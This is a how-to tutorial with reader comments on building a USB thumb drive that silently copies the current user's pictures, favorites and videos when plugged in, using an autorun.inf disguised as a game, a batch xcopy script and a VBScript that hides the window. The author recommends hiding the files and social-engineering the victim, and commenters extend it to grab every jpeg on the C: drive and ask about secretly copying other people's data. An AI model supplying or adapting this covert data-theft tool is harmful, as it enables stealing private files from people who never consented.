How to Make Flash Drive That Copy's Users Files Silently and Automatically





How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Materials Needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create Autorun File for the Flash Drive

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

action=Click ok to Run game for Windows

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the File for Copy of Documents to Drive

This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh

Step 4: Make Vb Script to Run Batch File As Invisible

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Step 5: Make a Batch File to Launch Vb Script and File.batch

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat


wscript.exe \invisible.vbs file.bat


Step 6: Create Folder to Save Files Withing Thumb Drive.

Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put All Files in Root of Drive and Try Out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking

2 People Made This Project!


  • Made with Math Contest

    Made with Math Contest
  • Multi-Discipline Contest

    Multi-Discipline Contest
  • Robotics Contest

    Robotics Contest

356 Discussions


Question 2 months ago

how can i make a usb that copy all the files secretly on android devices ?


3 months ago

I would like to know how to do the opposit of this if as user puts a usb stick in my PC I would like a copy of the files on his USB stick copied secretly to my local c drive can anyone help here. Thanks


Question 4 months ago

how do i get files from a subfolder
eg: pictures/asdf


7 months ago

there is something wrong in invisible.vsb
because it error that windows scirpt host
and cod 800A0408
source : Microsoft VBScript compilation
error : invalid character


1 year ago

WOW when i created this guide in 2009 i did not expect it to be sooo popular and even still working and getting comments. i just happened to be looking at my old instructsbles wow the view's and comments are crazy.


Question 1 year ago

Can i copy whole data of computer in my drive is it possible?

2 answers

Answer 1 year ago

Yes i have an external hard disk can you tell me how can i copy whole data.


Answer 1 year ago

Yes, it is possible to copy the entire data on the computer but you must consider using a external hard drive for that because an entire computer's data would need lots of space. You can consider leaving the Windows files and Program Files directories because they usually won't have any kind of personal data of the users.


1 year ago on Step 3

Can i copy whole computer data in my pendrive if you know the code of that type kindly please tell me....


Reply 1 year ago

obviously u have no idea how this batch file works because u can choose specific folders or even copy a whole drive


Question 1 year ago on Step 4

Idk much and maybe this question is stupid but if i write restorecmd instead of bkupcmd and the drivelocation as my usbdrive and file location in my pendrive will it work in reverse ie will i be able to secretly copy files from my pendrive to my pc?

Cold Eye

Question 1 year ago on Step 4

i think there is something missing with that code
can you please tell me what it is?


1 year ago

Amazing! Windows patched the autorun function, so just delete everything EXCEPT for file.bat. Then delete /min, because that's pointless. If you want to download a certain file type, do something like this:

%backupcmd% "C:\*.YOUR_FILE_EXTENSION" "%drive%\Files\Your Folder"

This will take ALL the files of that type on the computer, and put it onto your flash drive. I customized this to make it look like:

@echo off

color 17

title Downloading Data

:: variables

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% "C:\*.jpg" "%drive%\Files\Your Folder"

@echo off


Copy that, and every single jpeg will be downloaded from that computer.


3 years ago

Please help me someone. I'm not to knowledgeable about this stuff but I really want to just use my little flash drive as a backup for my own stuff. It worked so cool the first time even though it ran for hours overnight. But it won't autostart and even though I can manually start it by clicking file.bat in File Explorer, I want it to work. AND I see a weird " '/min' is not recognized as an internal or external command, operable program or batch file" and also a few weird ACCESS DENIED errors in the box as it runs. But after checking, I think that it is copying everything.

This site won't let me paste in what I have in file.bat on this Windows 10 ACER. It acts like it will and flashes the text but then they're just gone. So I'll post PrintScreens instead.

4 replies

Reply 1 year ago

Autorun has been disabled for a long time on windows, Delete every file except file.bat and it should work perfectly.


Reply 3 years ago

I don't understand how to use this site and I'm WAY sure that I'm not alone. It is screwed up if you ask me.
I got an email saying:
From: NoahW9
Date: Apr 3, 2016. 1:32 PM
Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.- Noah Wamboldt
But when I clicked on the REPLY link on my Windows smartphone, it brought me to this site and that Reply of his was nowhere to be found. So then I thought that it must just be something wrong with my smartphone or some issue with how this site works on smartphones.
But now when I come to it on my Windows 10 computer by clicking on the same REPLY link in the email in my Outlook 2013, I also don't find his Reply anywhere.
So someone in IT REALLY needs to fix this site I guess.
I'll just give up on this site and use Tech Republic, Microsoft Answers, Bob's and other places to help me with stuff.


Reply 3 years ago

I got a Reply on this but I haven't been able to find it online. Either I'm going nuts or this site is.
It came from JosephS177 on 5/31 but it is nowhere to be found. The email & he said:
"From: JosephS177
Date: May 30, 2016. 11:51 PM
The min command you mentioned isn't a command I don't believe and auto run has been disabled as standard since ~2009 also if you think partitioning in windows is hard try doing it in terminal on snow leopard when it thinks it's not a device.TLDR"To enable Autorun you will have to change some settings on your computer, Click Start, type gpedit.msc in the Start Search box, and then press ENTER. If you are prompted for an administrator password or for confirmation, type the password or click Allow Under Computer Configuration, expand Administrative Templates, then expand Windows Components, and then click Autoplay Policies. In the Details pane, double click on Turn off Autoplay ,and make sure that it is set to disabled. In the Details pane, double click on Default behavior for Autorun, set it to Enabled and then select Automatically execute the autorun commands Restart your computer."

reply: "
But clicking on either of those links brings me here and his Reply is nowhere to be found and believe my, I've tried.
Not only am I having that problem with this site but I also think that Joseph must be describing how I could make this flash drive program auto-start if I was using Windows XP since my Windows 10 doesn't seem to have anything called Start that I can Click to type in gpedit.msc in some Start Search box. Am I losing it¿

Shaman_Bhat JeffD29

Reply 3 years ago

Yeah I am having the same problem

Everytime I have to click the file.bat